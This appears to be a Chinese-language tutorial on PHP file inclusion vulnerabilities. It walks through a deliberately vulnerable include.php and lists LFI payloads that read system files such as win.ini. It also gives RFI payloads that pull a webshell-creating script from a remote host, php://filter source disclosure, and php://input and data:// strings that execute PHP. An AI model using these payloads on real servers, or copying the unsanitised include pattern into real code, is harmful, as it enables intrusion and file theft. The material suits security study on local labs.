web-文件包含

产生原因:

    开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。

典型特征:

变量的后面跟的是文件名或者url,就很可能又文件包含漏洞

    变量的值为一个页面:
        ?page=a.php
        ?home=b.html
        ?file=content

分类:(本地文件包含/远程文件包含)


本地文件包含(LFI):

    没有拼接字符串:
        ?filename=./www.txt
        ?filename=../www.txt
        ?filename=c:/windows/win.ini
        ?filename=webshellmake.php    //创建一个webshell
                 Fputs:file 规定要写入的打开文件
                       String 规定要写入文件的字符串
    有拼接字符串:
        ?filename=c:/windows/win.ini%00

include.php文件

<?php
    $filename=$_GET['filename'];
    include($filename);
?>

环境搭建

写一个include.php文件

 

实验

1.访问同一个文件夹的php

http://127.0.0.1/include/include.php/?filename=phpinfo.php

2.跨盘访问

http://127.0.0.1/include/include.php/?filename=C:111222.txt
#或者
http://127.0.0.1/include/include.php/?filename=file://C:111222.txt
#没有写file的话默认就是file

 3.利用fputs和fopen函数实行php文件生成

<?php fputs(fopen("shell.php",'w'),'<?pho phpinfo();?>')?>
#这里有一个要注意的是fopen后面一定要写上w(写入权限),不然phpinfo是写入不进去shell.php的
#fputs:前面指定文件名,后面写入要写入文件的字符串
#fopen:打开某个文件,如果没有的话就在本地进行创建

远程文件包含(RFI)

         远程文件包含(RFI) 一般 PHP 默认关闭远程包含,开启远程文件包含功能需要在 php.ini 中修改:

allow_url_include = on
allow_url_fopen = on

payload:
    ?filename=http://www.baidu.com/xx.php
       10.11.12.1/webshellmake.php

    ?filename=http://<IP>/webshellmake.php    //利用远程文件包含创建 webshell

php伪协议:PHP支持的封装协议

file://:访问本地文件系统

    ?filename=file://C:Windowswin.ini

解释:用于访问本地文件系统。当指定了一个相对路径(不以/、、或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
不加默认是file

php://filter:访问各个输入输出流

?filename=php://filter/read=convert.base64-encode/resource=webshellmake.php

解释:一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。


php://input

?filename=php://input    【POST DATA】    <?php phpinfo();?>

解释:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
 

注意:

①php://input与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据

②multipart/form-data:指定传输数据为二进制类型,比如图片、mp3、文件。

为什么可以直接执行php代码?
        自定义写入php代码,再当前页面下执行PHP代码   因为前面是php文件,所以可以执行后面的php语句。要是后面是asp代码就不行了
        再post请求的请求体中进行传递php代码


data://:数据

    ?filename=data://text/plain,<?php%20phpinfo();?>
    ?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
解释:数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。  具体的符号要url编码,不然对方识别不到
再get请求中直接传递php代码,并且可以进行base64加密
再get中进行base64加密之后,要把base64中的符号进行url编码

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>